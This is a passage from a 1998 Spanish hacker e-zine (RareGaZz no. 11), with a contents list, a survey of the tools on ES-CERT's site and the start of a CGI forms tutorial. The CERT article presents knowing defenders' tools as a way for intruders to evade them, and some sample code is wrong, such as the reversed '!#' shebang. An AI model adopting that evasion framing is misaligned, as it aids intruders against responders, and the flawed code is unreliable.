                               <<::RareGaZz::>>
                                   presenta
   
                               Ao 1,  numero 11
                             ~~~~~~~~~~~~~~~~~~~~~

                                  Contenidos
                                  ==========

           1.- Introduccion                               -GuyBrush-
           2.- Conoce a tu enemigo : ES-CERT              -Nobody-
           3.- Interactividad, Forms & Scripts CGI        -Sebastin Quiroga-
           4.- Carding                                    -SlimeLORD-
           5.- Como aprovechar los puertos de un sistema  -GuyBrush-
           6.- Phreaking cellulars                        -SlimeLORD-
           7.- Programming cellulars                      -SlimeLORD-
           8.- Como ser un "jaker" en 10 minutos          -O'Flaherty-
           9.- Bug Win95+HP                               -12r43lOverdrive-
          10.- Cambiar el logo de inicio de Windows 3.x   -Mr_Frost-
          11.- Trucos para el IRC hispano                 -Lobo-
          12.- Las posibilidades en Windows NT (Parte 2)  -Azum Lord-


 _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-

 1 - INTRODUCCION
 ~~~~~~~~~~~~~~~~
 Hola amigos. Ya estamos aqui de nuevo. Una vez mas pediros disculpas por la
 tardanza pero como todos sabeis no tenemos un espacio de tiempo fijo entre
 cada edicion. Simplemente, cuando tenemos tiempo y articulos buenos (son
 buenos, verdad?) pues la sacamos para que todos puedan disfrutar y aprender.

 Como RareTrip anda demasiado ocupado, yo GuyBrush, me encargare temporalmente
 del mantenimiento y direccion de RareGaZz. A pesar de que hemos estado algun
 tiempo 'desconectados' hemos vuelto con mas ganas que nunca. Siento mucho
 todos esos mails que aun no hemos respondido. Pero os aseguro que ya nos
 hemos puesto manos a la obra y pronto sera todo como antes.

 Este es nuestro onceavo E-zine y pronto, gracias a vosotros, cumpliremos un
 ao. Esperamos que sigais enviando vuestros articulos, dudas y sugerencias.

                                                           -= GuyBrush =-
                                                       guybrush@cyberdude.com

 /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
 Es indispensable para todo hacker estar al dia sobre el tema de la seguridad
 informatica asi como de los bugs que diariamente aparecen en los diversos
 sistemas. Si no sabes lo que es el CERT, lee esto con atencion ...
 /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

 2 - CONOCE A TU ENEMIGO : ES-CERT
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                                                                    13-02-1998.
                                                                    ??????
                                                                     
                        ۲
                         CONOCE A TU ENEMIGO : ES-CERT ۲
                                                     ۲
                                 by NOBODY         ۲
                        

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

  Nota Del Autor: No me hago responsable de la utilizacion de la informacion
                  aqui expuesta ya que tan solo es con fines didacticos.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

   - Que es este articulo ?.

   Bueno, como GuyBrush me pidio un articulo para Raregazz y yo a los amigos
   no les fallo, pues pense que este articulo podria ser interesante, en el
   cual hablare sobre el ES-CERT, su servidor web, que podemos encontrar en
   el, etc... desde un punto de vista hacker/analista en seguridad.

   - ES-CERT.

   Antes de nada tenemos que hablar sobre el CERT, que significa Computer
   Emergency Response Team que traduzido a nuestra lengua seria Equipo de
   Respuesta a Emergencias Informaticas. Es una organizacion americana
   creada a raiz del famoso gusano de Internet a finales de los 80 por la
   Agencia de Proyectos de Investigacion Avanzados para la Defensa, tambien
   conocido como DARPA en Noviembre de 1988.

   Esta organizacion formada por expertos en seguridad Unix,
   periodicamente saca avisos sobre agujeros en programas o malas
   configuraciones para sistemas Unix. A parte de esta tarea el CERT tambien
   ofrece un servicio de asesoramiento si un sistema informatico a sido
   invadido.

   Los avisos del CERT suelen ser via mail pero tambien estan disponibles
   en sus servidores FTP. Tambien se puede leer las news
   comp.security.announce en el cual se distribuye los avisos de seguridad.

   Como ya he dicho el CERT es una organizacion americana, pero desde hace
   tiempo esta creando sedes por varios paises. Aqui es donde entra el
   ES-CERT, ya que simplemente es la sede del CERT en Espaa, constituida
   por expertos espaoles en seguridad.

   EL CERT a su vez esta constituido por el FIRST, Forum of Incident Response
   and Security Teams, Foro de Equipos de Seguridad y Respuesta ante
   Incidentes. El cual engloba expertos en seguridad de todo el mundo que
   buscan conjuntamente tapar los agujeros que van apareciendo.

   Es recomendable leer la documentacion del CERT, en la cual viene muchas
   pautas sobre configuraciones correctas y como asegurar el sistema
   correctamente. Salir nombrado en un documento del CERT es signo de
   prestigio en la comunidad de seguridad informatica.

   - Su Servidor WEB.

   En su magnifico web encontraremos multitud de informacion y tools sobre
   seguridad informatica. Es interesante conocer estas tools desde varios
   puntos de vista, por ejemplo un hacker le es util para conocer con que
   se puede encontrar en un servidor y como enfrentarse, para un analista
   en seguridad es una obligacion y por ultimo desde el punto de un Admin,
   este tiene la posiblidad de mejorar la seguridad de su sistema de una
   manera efectiva y la mas importante, totalmente gratis.

   Ahora os pongo los directorios de soft con sus contenidos y os hablare
   sobre ellos.

   PAQUETES DE AUDITORIA
   ---------------------

   * Cops = Conjunto de programas para verificar ciertos aspectos del
            sistema operativo Unix. Creado por Dan Farmer, todo una leyenda
            en el campo. 

   * Tripwire = Para la evaluacion de la integridad del sistema y deteccion
                de alteraciones. Unix.

   * Md5 = El popular md5. Unix.

   * Satan111 = Para verificar si tenemos vulnerabilidades conocidas en los
                accesos a la red. Unix.

   * Argus = Audicion del trafico IP. Unix.

   * Crack = Para probar la fortaleza de los passwords. Unix, Win NT.

   * Monkey = Para probar la fortaleza de los passwords S/Key. Unix.

   * Antizap = Para detectar modificaciones no autorizadas de wtmp y
               lastlog. Unix.

   GESTION DE RED Y MONITORIZACION
   -------------------------------

   * Cpm o Ifstatus = Mejor que ifconfig para detectar si la tarjeta de
                      red est en modus promiscuo. Unix.

   SOFT DE CIFRADO
   ---------------

   * Pgp = De momento, y mientras no se implante S/MIME, es lo mejor que
           podemos utilizar. Para todos los sistemas: Dos, Windows, Amiga,
           Archimedes, Atari, Vax-Vms, Unix.

   * Cryptografa = Completa coleccion de documentos y material criptografico
                    mantenida por J.R. Valverde. La coleccion procede de los
                    mejores servidores FTP sobre el tema, y se actualiza a
                    diario. Unix, PC.

   CONSTRUCCION DE CORTAFUEGOS
   ---------------------------

   * Logdaemon = Incorpora varias carateristicas en los servidores rlogin,
                 rsh, login, rexec y ftp. Mejora de la informacion de log,
                 capacidades de control de acceso, restricciones de acceso
                 de root y mejora los metodos de autenticacion (one-time
                 passwords y SecureNet keycard one-time passwords). Unix.

   * Wietse's tools (tcp_wrappers) =  Capacidad de logging y filtrage para la
                                      mayora de los servidores que gestiona
                                      inetd. Tambien aporta servicios
                                      similares al basado en RPC. Unix.

   * Skey = Passwords de un solo uso. Unix, PC.

   * Tamu = Filtrage de paquetes con un PC. Tambien contiene el TIGER, de
            funcionalidades similares al COPS y netlog para auditar la
            conexion IP. Unix, PC.

   * Tisfwtk = Utilidades para construir un cortafuegos. Proxias, llaves de
               un solo uso, etc. Unix.

   CIFRADO DE LA CONEXION
   ----------------------

   * Ssh = Cifrado de la conexion. Unix, PC.

   * Ssl = Libreria SSLeay y aplicaciones telnet, ftp y web server. Unix, PC. 

   OTROS
   -----

   * Lsof =  Para ver los ficheros abiertos del sistema. Unix.

   * Osh = Shell restringido. Permite al administrador restringir el acceso a
           detreminados comados o ficheros para determinados usuarios a la vez
           que permite generar registros de auditoria. Unix.

   * Cgiwrap = Programa que permite a los usuarios del sistema el uso de sus
               propios CGIs sin compromiter la seguridad del sistema. Unix.

   * Libpcap = Libreria para algunas herramientas (argus, tcpdump). Unix.

   * Antivirus = Antivirus. PC.

   * Dos_Security = DOS Security Tools (password, risk analisis, etc..). PC. 

   Nota : Los comentarios de los programas los he copiado directamente del
          WEB del ES-CERT ya que los considero muy buenos y no hace falta
          ningun comentario a parte. Solo he aadido una linea al programa
          Cops. 

   Como habeis podido apreciar el servidor contiene multitud de interesantes
   herramientas que estan disponibles a cualquiera. Pero esto no acaba aqui
   ya que en otras secciones del servidor encontraremos :

   * Avisos de seguridad.
   * Link's.
   * Parches.
   * Documentacion propia del CERT.
   * Boletines.
   * Articulos.
   * Listas de Distribucin y Grupos de Noticias.
   * Bibliografa.
   * Publicaciones.
   * Otros CERT's Europeos.

   La segunda seccion mas interesante desde mi punto de vista es la de
   Documentacion, donde encontraremos mucha lectura, por supuesto muchas cosas
   en ingles. Los temas de esta seccion son los siguientes :

   * CHECKLISTS = Listas sobre agujeros.

   * DETECCION DE INTRUSIONES = EL titulo ya lo dice ;-)

   * MONOGRAFICOS = Diversas cuestiones sobre seguridad (X-Win, FTP, etc...).

   * POLITICAS DE SEGURIDAD = Como establecer politicas de seguridad.

   * CORREO ELECTRONICO = La proteccion del correo.

   * PRENSA y VARIOS = revistas sobre seguridad.

   * ARCHIVOS = Mas programas y link's sobre seguridad.

   * FIREWALLS = Cuestiones sobre Firewalls.

   * CIFRADO DE LA CONEXION = Link's sobre criptografia.

   * SEGURIDAD EN WWW = Protegiendo el servidor WEB.

   * LEGISLACION = La legislacion actual referente a la comunicacion.

   * LITERATURA = Historias reales sobre Hackers.

   * OTROS = Mirror del CIAC. 

   Logicamente existen muchas mas herramientas de seguridad que no estan
   aqui incluidas pero con lo que hay aqui disponible podemos pasar un buen
   tiempo sin aburrirnos.
  
   - Realmente es peligroso para un Hacker ?

   Hombre, en la primera instancia el CERT se preocupa de que los Admin's
   protejan correctamente su servidor, por otro lado disponen de personal
   que puede ser llamado por las empresas y evaluan los daos inflinjidos
   por un intruso, ademas tambien se ponen en contacto con las autoridades
   por si es necesario alguna detencion, ya que el CERT logicamente no tiene
   poder judicial pero si que puede dar caza a un intruso.

   Por estas razones hay que conocer como operan y que tools utilizan,
   logicamente utilizaran mas tool's que no estan en el web pero por lo menos
   conoceremos varias de estas y sabremos enfrentarnos a ellas.
   
   Por eso es necesario que los Hackers esten atentos a los avisos y conozcan
   la documentacion del CERT, no solo como medida de seguridad sino ya que es
   muy interesante.

   EL URL DEL ES-CERT
   ------------------

   http://escert.upc.es
   FTP = escert.upc.es
   E-Mail = cert@escert.upc.es

   <->

   Y desde aqui saludar a toda la pea de #hackers, #hack, #rejoin &
   #seguridad_informatica !!!!!!

   Grupos como - J.J.F. / HACKERS TEAM - , CYBERHACK, WAKANDA, UNDERHACK,
   @pOkalypSYS y todos los demas !!

   Y por supuesto : Bisho, Folixia, Fragel, Ipgh0st, Metalslug, Dillet,
   Riddle, Hadden, Guybrush, Tdp, Virux, Cy, Angelipas, Schoddy Guy, Xus,
   Enif, Bit-Quake, L.A., Nadia, Amanda, Case_zero y todos los que me dejo :)

                                                            NOBODY (c) 1998.

 wmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwm
 Parece que los Scripts CGI estan de moda. Si quieres aprender como funcionan
 mira con detenimiento este completo articulo ...
 wmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwm

 3 - INTERACTIVIDAD, FORMS & SCRIPTS CGI
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Interactividad,Forms & Scripts CGI

Indice
------
PRIMERA PARTE
Introduccin.
Cmo funciona la cosa.
Por donde empezar.
Forms.
   Forms simples.
   Text, Password y TextArea.
   Radio Buttons.
   Check Buttons.
   Pop-up Lists.
   Forms Multiples y el Reset Button.


SEGUNDA PARTE 
Que necesitamos para empezar.
Qu son los scripts CGI?
Nuestro Primer Script.
Un script que hace Eco de un Form.
Un procesador de mensajes simple. (guestbook)
        -retornar una pagina que no creamos
        -verificar que todos los campos esten llenos y el email tenga un @
        -Editar un documento HTML e insertar informacion en el medio.
Puntos importantes al programar scripts.  


TERCERA PARTE (propuesta)
Imgenes clikeables.
Desempaquetando informacin.
   Parsers CGI.
Scripts avanzados.
   Animacin.
   Counters.
   Locking de archivos.
Pginas Web con proteccin por password.
HTML/CGI como  front/end de nuestros programas.
Apndice:  Libreras para la Programacin de scripts CGI.
           Sites con informacin acerca de CGI.
Vocabulario - Siglas

______________________________________________________________________________

Introduccin

El Web no es slo un medio para colocar informacin de variados tipos y
formatos a disposicin de los usuarios de Internet. Utilizando el Web es
posible tambin interactuar con el usuario de forma que l pueda, por ejemplo,
encargar un producto, suscribirse a algn servicio, reservar un pasaje o hacer
una consulta a una base de datos.
La intencin de este texto es acercar a todos los que se han iniciado en HTML
hace poco tiempo, al diseo de pginas interactivas y as avanzar un poco ms
en sus conocimientos
Estimo que no debe ser para nada perfecto ni mucho menos, quizs podra decir
s, es bastante "entendible" por eso espero que sirva de iniciacin en el tema,
cualquier correccin, duda o sugerencia pueden mandarla a dquir@indec.mecon.ar donde
tratare de contestar en la medida de lo  posible=cerebro/tiempo.
Pido disculpas por los toscos grficos ASCCI (fu mi mejor esfuerzo), pero les
aseguro que la versin HTML va a estar mucho mejor, lo prometo.
(con los dedos cruzados.... :D! )                                                                                                                                 provistos por el usuario.



Cmo funciona la cosa.

En el momento en que accedemos a una pgina del tipo que mencionamos, podemos
apreciar distintos elementos que permitirn que nuestros deseos/necesidades
puedan ser transmitidos a las personas que manejan esa pgina.
La mecnica es simple, la informacin es enviada a un programa, el script CGI,
procesada y en consecuencia es generada una salida.

Los datos que ingresemos sern encapsulados en una variable de entorno
denominada QUERY_STRING, y en el momento de apretar el botn de "submit" ser
leda e interpretada por nuestro script. Dentro de ella irn todos los valores
correspondientes a los datos que ingresemos, de manera que el script tendr
que separarlos uno por uno para su proceso. Esto se logra fcilmente mediante
el uso de funciones que vienen includas en libreras especializadas para
cada lenguaje en particular.

Existen otras variables de entorno que pueden ser accedidas por un script CGI
cuando ste se ejecuta tales como;

Variable de entorno     Contenido
QUERY_STRING            Data enviada al script CGI por el usuario. Esta puede
                        ser la salida de un FORM, u otra informacin generada
                        dinmicamente o estticamente.

REMOTE_ADDR             La direccin de internet de la mquina que hizo el
                        request.

CGI_VERSION             Nmero de revisin de la especificacin CGI.

CGI_REFERER             El URL del documento que contiene la llamada al script


El script eventualmente retornar una pgina HTML o una imagen que es mostrada
como resultado de la ejecucin. Este ltimo caso es el de los counters,
que a traves de un pequeo programa en C, "pegan" los distintos dgitos que
representan la cantidad de accesos que ha tenido esa pgina en un UNICO .GIF .
Para diferenciar estos dos tipos de salida se enva un "header" al comienzo de
la transmisin de la respuesta que las identifica segn la siguiente especifi-
cacin (extensiones MIME).

Tipo de Informacin retornada           Texto
Una pgina HTMl                         Content-type: text/html
Una imagen .GIF                         Content-type: image/gif

{{ a propsito de los counters, quisiera hacer un comentario personal sobre la
utilidad de los mismos, ya que en mi opinin la confiabilidad de stos es como
mnimo dudosa, como ejemplo basta mencionar una pgina llamada "The Terrorist
Counter" que contiene links a muchos counters diferentes en distintas pginas,
de todo el mundo y que al ser cargada los hace aumentar a todos al mismo
tiempo, pero bueno, esa es otra historia..}}

Los scripts normalmente estan ubicados en el directorio cgi-bin del web-server
o bien en alguno similar (CGI-WIN,CGI-DOS).
La ubicacin del directorio cgi-bin es determinada por el administrador del
Web, o "webmaster" como se lo llama comnmente,y esta puede ser una ubicacin
fsica real o bien una lgica.
Es importante mencionarlo ya que la mayora de los web-servers slo permiten
que se ejecuten programas desde estos directorios en particular.

Para finalizar este breve vistazo del tema basta con mencionar que los
scripts CGI pueden ser escritos en cualquier lenguaje. Comnmente se utiliza
PERL o C, aunque contando con las libreras adecuadas se pueden escribir
tambin en Turbo Pascal (mi caso particular), Visual Basic y hasta Delphi.



Por donde empezar.

Para comenzar analizaremos la creacin de "forms", nuestro front-end/interfaz
grfica que permitir a los usuarios el ingreso de la informacin deseada.
Estos "forms" hacen uso de elementos comunes para aquellos familiarizados con
las GUI modernas ,Windows o X-Windows, como son los buttons, check boxes,
radio buttons, pulldown menus, text boxes, etc...
Una vez que hayamos dominado bien este tema podremos pasar a la diagramacin/
programacin de los scripts CGI, es decir los programas que procesarn los
datos ingresados por los usuarios.
Creo que la mejor manera de aprender este tema, es ir leyendo el documento
y practicando en el browser (bastar con usar Netscape y el Edit de DOS) de
todos modos cada cual elegir el sistema que le resulte ms cmodo.



****FORMS****

Forms simples.
Comenzaremos con un pgina tipo que tiene includo el tag correspondiente
al inicio de un form;

<HTML>
<HEAD>
<TITLE> Pgina de Prueba </TITLE>
</HEAD>
<BODY>
<H1>Titulo Prueba de Forms </H1>

<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/prog.exe">
<-- aqui comenzaria el cdigo para los elementos del form --!>
.   .   .   .   .   .   .   .   .   .   .   .   .   .   .   
.   .   .   .   .   .   .   .   .   .   .   .   .   .   .   
</FORM>  <-- y aqui terminara --!>

</BODY>
</HTML>

Evidentemente "prog.exe" es el nombre del ejecutable (script CGI) que correr
en el web-server una vez que el usuario enve la informacin requerida, y POST
es el mtodo que se utilizar para realizar dicha accin.
Existe otro mtodo llamado GET que hace exactamente lo mismo, la diferencia
radica en que este ltimo enva la data dentro de la variable de entorno que
habamos mencionado (QUERY_STRING) "pegada" al URL del script y POST lo hace
como un "stream" continuo de caracteres. Es preferible utilizar POST ya que el
mismo no tiene limitaciones de tamao y en cambio GET s puede tenerlas en el
server.


Text Line
El elemento ms simple que podemos utilizar en un FORM es el "Text line"  que
le permite al usuario ingresar texto en una lnea. La sintaxis utilizada para
este tag es la siguiente;

<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/text.exe">
Escriba su nombre<BR>
<INPUT TYPE="text" NAME="nom_var" SIZE=20 >
</FORM>

En el browser se ver:
                                  Escriba su nombre
                                  Ŀ   
                                                      
                                  


Cuando el usuario oprima la tecla "Enter" lo que haya escrito ser enviado al
web-server.
Veamos los parmetros de este tag. En NAME va el nombre de la variable que
almacenar el texto que tipee el usuario y en SIZE tenemos 20 que es la longi
tud en caracteres que va a tener la caja.
Por medio de un script-CGI "capturaremos" la variable "nom_var" y leeremos su
contenido, el cual podremos procesar posteriormente.

Password Text.
En adicin a Text Line existe el tipo "password" que sirve para ingresar
claves o textos secretos, cuya sintaxis es muy parecida.
No se trata para nada de un medio seguro para enviar informacin a travs de
la Net, pero bueno, puede servirnos para este fin didctico.


<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/pass.exe">
Ingrese su nombre y su password.<BR>
<INPUT TYPE="text" NAME="nom_var" SIZE=20 > <BR>
<INPUT TYPE="password" NAME="pass_var" SIZE=20 > <BR>
</FORM>

Obtendremos la siguiente salida :

        Ingrese su nombre de usuario y su password.
                                  Ŀ   
                                  Sebastian    
                                  
                                  Ŀ   
                                  ************ 
                                  

Obviamente lo que escribamos en la caja de password no aparecer como texto
normal sino con una "*" representando cada carcter.



Text Boxes
Si necesitamos recibir ms de una lnea podemos utilizar los tags
<TEXTAREA ..>  </TESTAREA> de la siguiente manera;


<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/text.exe">
Ingrese su comentario<BR>
<TEXTAREA NAME="caja" ROWS=5 COLS=40> Estes texto aparecer en la caja por
default. EL mismo puede estar separado por "ENTERs".</TEXTAREA> <BR>
<INPUT TYPE="submit" NAME="boton_env" VALUE="Enviar">
</FORM>


 Ingrese su comentario
 Ŀ
 Este texto aparecer en la caja por        
 default. El mismo puede estar separado          
 por "ENTERs".                           
                                           
                                               
 
 ͻ
 Enviar
 ͼ

El significado de cada parmetro es el siguiente:
        NAME Nombre de la variable que almacena el texto de la caja.
        ROWS Cantidad de filas de la caja de texto.
        COLS Cantidad de columnas de la columna.



Submit Button
En el caso que acabamos de ver, el "Enter" sirve para pasar a la lnea siguien
te mientras se est escribiendo, de manera que implementamos otro mtodo para enviar la
informacin, que es el "Submit Button", cuando el mismo sea oprimido el texto
que hayamos cargado ser enviado.
Estos son los parmetros del "Submit Button":
        NAME nombre del botn (para la referencia en el script)
        VALUE texto que aparece en el botn (por default es "Submit")

El prametro "NAME" no es necesario en el caso anterior, pero es interesante
citarlo ya que podemos llegar a utilizarlo en el siguiente situacin;

<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/text.exe">
Le gust la pgina<BR>
<INPUT TYPE="submit" NAME="boton_env" VALUE="Si">
<INPUT TYPE="submit" NAME="boton_env" VALUE="No">


Le gust la pgina ??

 ͻ     ͻ
   Si         No  
 ͼ     ͼ

Aqu la variable boton_env contendr los valores "Si" o "No" segn cual
de los dos botones oprima el usuario.



Radio Buttons
Los Radio Buttons permiten que el usuario elija una nica opcin entre varias.
Son esos pequeos crculos que aparecen cuando tenemos que indicar el sexo,
o bien un rango de edades o una opinin (muy bueno, bueno, malo).
Veamos un ejemplo del cdigo.

<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/radio.exe">
Cual es tu edad?<BR>
<INPUT TYPE="radio" NAME="edad" VALUE="a"> menos de 18<BR>
<INPUT TYPE="radio" NAME="edad" VALUE="b" CHECKED> entre 18 y 24<BR>
<INPUT TYPE="radio" NAME="edad" VALUE="c"> entre 25 y 45<BR>
<INPUT TYPE="radio" NAME="edad" VALUE="d"> 46 o ms<BR>
<INPUT TYPE="submit" NAME="boton_env" VALUE="Enviar">
</FORM>

La pantalla mostrara algo como esto:

Cual es tu edad?

( ) menos de 18    
(*) entre 18 y 24
( ) entre 25 y 45
( ) 46 o ms

 ͻ
 Enviar
 ͼ

El form retornar dentro de la variable "edad" el valor a,b,c o d segn
corresponda la opcin que haya sido elegida por el usuario. La clasula CHECKED
permite tener un tem seleccionado por default.


Check Boxes
Los Check Boxes sirven cuando necesitamos recibir un input con ms de una
opcin seleccionada, se utilizan por ejemplo para marcar las caractersticas
que ms nos agradan de un determinado producto.
La sintaxis es bastante parecida al anterior.

<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/check.exe">
Marque aquellos temas que sean de su inters:<BR>
<INPUT TYPE="checkbox" NAME="temas" VALUE="ntecs"> Nuevas Tecnologias<BR>
<INPUT TYPE="checkbox" NAME="temas" VALUE="inves" CHECKED> Investigacin<BR>
<INPUT TYPE="checkbox" NAME="temas" VALUE="grafs" CHECKED> Grficos/CAD<BR>
<INPUT TYPE="checkbox" NAME="temas" VALUE="redes"> Redes/Comunicaciones<BR>
<INPUT TYPE="submit" NAME="boton_env" VALUE="Enviar">
</FORM>

En el browser tendramos:

Marque aquellos temas que sean de su inters:
Ŀ
  Nuevas Tecnologias    
                       
Ŀ                       
X Investigacin         

Ŀ
X Grficos/CAD     

Ŀ
  Redes/Comunicaciones

                         
 ͻ                 Igual que con los radio buttons, la clasula CHECKED
 Enviar                 permite tener marcados  algunos cuadraditos por
 ͼ                 default. En la variable "temas" van a ir a parar
                          aquellos opciones que sean marcadas por el usuario.



POP UP list
Podemos tambin utilizar menes descolgantes como manera de elegir una opcin
entre varias mediante el tag <SELECT> como podemos ver ms abajo.

<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/popup.exe">
Que sistema operativo usas?<BR>
<SELECT NAME="sistema">
        <OPTION SELECTED> DOS 
        <OPTION> Windows 3.1         
        <OPTION> Windows 95
        <OPTION> OS/2 Warp
        <OPTION> Linux
        <OPTION> Otro
</SELECT> <BR>
<INPUT TYPE="submit" NAME="boton_env" VALUE="Enviar">
</FORM>


                   |
Ŀ    |    Ŀ
DOS            |    DOS          (as se vera el menu desplegado
    |    Ĵ  al pulsar con el mouse en la flecha)
                   |    Windows 3.1  
                   |    Ĵ
                   |    Windows 95   
                   |    Ĵ
                   |    OS/2 Warp    
                   |    Ĵ
                   |    Linux        
                   |    Ĵ
                   |    Otro         
                   |    
                   |
 ͻ          |     ͻ
 Enviar          |     Enviar
 ͼ          |     ͼ
                   |

Al igual que en los otros ejemplos, la variable "sistema" almacenar el tem
elegido.



Forms Multiples y el Reset Button

Todos los elementos que hemos mencionado pueden ser utilizados individualmente
con un submit button (o sea con un form para cada uno ) o bien pueden ser
empleados varios de ellos en una misma pgina.
Nota: Se estila en la creacin de un buen form, el poner lineas horizontales
arriba y abajo del form (<HR> o alguna lnea grfica) y proveer instrucciones
de como se deben llenar los blancos.

Para finalizar construiremos un ejemplo que contenga todos los tags vistos
hasta ahora. Este form mltiple introduce el uso de un nuevo tipo de botn, 
el Reset Button, que en resumida cuentas borra los datos que hayamos ingresado
y deja los elementos en su opcin de default.


<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/popup.exe">
Ingrese su informacin:<BR>

Nombre: <INPUT TYPE="text" NAME="nombre" SIZE=30 > <BR>
Email:  <INPUT TYPE="text" NAME="email " SIZE=30 > <BR>
Comentarios.<BR>
<TEXTAREA NAME="caja" rows=5 cols=40></TEXTAREA> <BR>
<BR>
Que lenguaje prefiere?<BR>
<SELECT NAME="lenguaje">
        <OPTION SELECTED> Turbo Pascal
        <OPTION> Turbo Pascal      
        <OPTION> Delphi
        <OPTION> Visual Basic
        <OPTION> Smalltalk/V
        <OPTION> Cobol
</SELECT> <BR>
<BR>
Que le pareci la gua? <BR>
<INPUT TYPE="radio" NAME="opin" VALUE="a">Mala <BR>
<INPUT TYPE="radio" NAME="opin" VALUE="b">Regular<BR>
<INPUT TYPE="radio" NAME="opin" VALUE="c" CHECKED>Buena<BR>
<INPUT TYPE="radio" NAME="opin" VALUE="d">Muy Buena<BR>
<INPUT TYPE="radio" NAME="opin" VALUE="d">Excelente!<BR>
<BR>
<INPUT TYPE="checkbox" NAME="email" VALUE="si">
Marque esta casilla si quiere recibir informacin va email. <BR>
<BR>
<INPUT TYPE="submit" NAME="boton_env" VALUE="Enviar">
<INPUT TYPE="reset"  NAME="boton_res" VALUE="Borrar">
</FORM>



Salida en Pantalla.

Ingrese su informacin.
        Ŀ   
Nombre:                     
        
        Ŀ   
Email:                      
        

Comentarios.
 Ŀ
                                            
                                                 
                                         
                                           
                                               
 

Que lenguaje prefiere?
Ŀ 
Turbo Pascal


Que le pareci la gua?

( ) Mala
( ) Regular
(*) Buena
( ) Muy Buena
( ) Excelente!

Ŀ
  Marque esta casilla si quiere recibir informacin va email.
                       

 ͻ   ͻ
 Enviar   Borrar
 ͼ   ͼ



Para finalizar con la primera parte de este documento, solo resta decir que
todo lo visto hasta ahora es posible practicarlo sin necesidad de un server,
hasta un cut&paste de los ejemplos funcionara, por lo tanto .....
Manos a la obra!!

______________________________________________________________________________

Que necesitamos para empezar.

Para empezar necesitamos tener un poco de conocimiento de algn lenguaje de
programacin (el que sea).
La idea de esta gua es utilizar como base Perl, aunque sern dados ejemplos
en C y tambin en Pascal (vamos Turbo todava).
Creo que con eso bastar para dar una idea general , (que por otra parte es lo
que pretendo), y las adaptaciones necesarias para cualquier otro lenguaje
con un poco de ingenio se podrn hacer sin problemas.


Qu son los scripts CGI?

Normalmente cuando un browser de Web (como por ejemplo el Netscape) llama a
una URL en particular, sucede lo siguiente. Primero la computadora contacta el
HTTP server con dicha URL (HTTP es el protocolo que se utiliza en las comunica
ciones en la Web entre el server y el browser). El server HTTP revisa si el
archivo requerido por nuestra computadora se encuentra en su sistema, en caso
afirmativo enva el archivo como respuesta. Nuestra computadora entonces,
muestra el archivo en el formato apropiado.

Adems de todo esto, los servers de Web estan configurados de tal manera que
cada vez que se requiere un archivo de un directorio determinado (usualmente
el "cgi-bin"), dicho archivo no es enviado ; sino que es ejecutado como un
programa y la salida de este programa es enviada a nuestra mquina para que
sta la muestre. Esta funcin es conocida como "Common Gateway Interface" y
los programas a los que nos referimos son llamados scripts CGI.

Como dijimos,el directorio en el cual usualmente se encuentran los scripts CGI
es el cgi-bin, de manera que los scripts que armemos debern ser situados en
el mismo.
Si no tenemos control de la administracin del server, debemos solicitar
que se les d permiso de ejecucin a todos los archivos que pongamos en este
directorio (cgi-bin).                                                       

En esta segunda parte veremos scripts que funcionan en base a los datos y
variables que les son enviados a travs de un FORM en una pgina HTML, y
dejaremos para la tercera de aquellos que no necesitan de esta input, por
ejemplo los counters, las animaciones y otras cosas un poco ms complicadas.


Nuestro Primer Script.

Para empezar por lo ms simple y poder apreciar la funcionalidad de este
sistema veremos un script muy fcil de entender, el cual no necesita que les
sean suministrados datos de ningn tipo para funcionar.
Pero sigamos con lo nuestro;

Ŀ
 PERL                                                                       
Ĵ
!#/usr/bin/perl                            < Esta lnea llama al intrpre
                                                 te de Perl.                
                                                                            
print "Content-type: text/html\n\n";                                        
print "<HTML>\n";                                                           
print "<HEAD>\n";                                                           
print "<TITLE>Aprendiendo CGI</TITLE>\n";                                   
print "</HEAD>\n";                                                          
print "<BODY>\n";                                                           
print "Hola Intertips!\n";                                                  
print "</BODY></HTML>\n";                                                   
Ĵ
 PASCAL                                                                     
Ĵ
begin                                                                       
writeln "Content-type: text/html";                                          
writeln;                                                                    
writeln "<HTML>";                                                           
writeln "<HEAD>";                                                           
writeln "<TITLE>Aprendiendo CGI</TITLE>";                                   
writeln "</HEAD>";                                                          
writeln "<BODY>";                                                           
writeln "Hola Intertips!";                                                  
writeln "</BODY></HTML>";                                                   
end.                                                                        
Ĵ
 C                                                                          
Ĵ
#include <stdio.h>                                                          
                                                                            
main()                                                                      
{                                                                           
printf ("Content-type: text/html\n\n");                                     
printf ("<HTML>\n");                                                        
printf ("<HEAD>\n");                                                        
printf ("<TITLE>Aprendiendo CGI</TITLE>\n");                                
printf ("</HEAD>\n");                                                       
printf ("<BODY>\n");                                                        
printf ("Hola Intertips\n");                                                
printf ("</BODY></HTML>\n");                                                
}                                                                           


Es as de fcil!! Y lo mejor de todo es que funciona!

Observen que lo primero que retornamos es un header indicando de que tipo es
